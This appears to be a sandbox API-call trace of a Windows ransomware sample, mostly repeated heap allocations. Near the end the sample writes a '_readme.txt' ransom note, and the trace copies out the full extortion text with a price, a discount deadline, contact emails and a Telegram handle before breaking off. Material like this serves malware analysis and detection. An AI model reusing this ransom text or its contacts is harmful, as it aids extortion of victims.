hHeap=0x5c0000) returned 1 [0124.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.672] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.673] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.673] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.674] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.675] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.675] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.676] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.676] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.677] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.677] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.678] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.678] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.678] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.678] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0124.678] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.678] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.678] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.678] PathFindFileNameW (pszPath="") returned="" [0124.678] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.678] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.678] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.678] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.678] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.678] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.678] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.678] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.678] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0124.678] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.678] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.678] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 0 [0124.679] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.679] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable 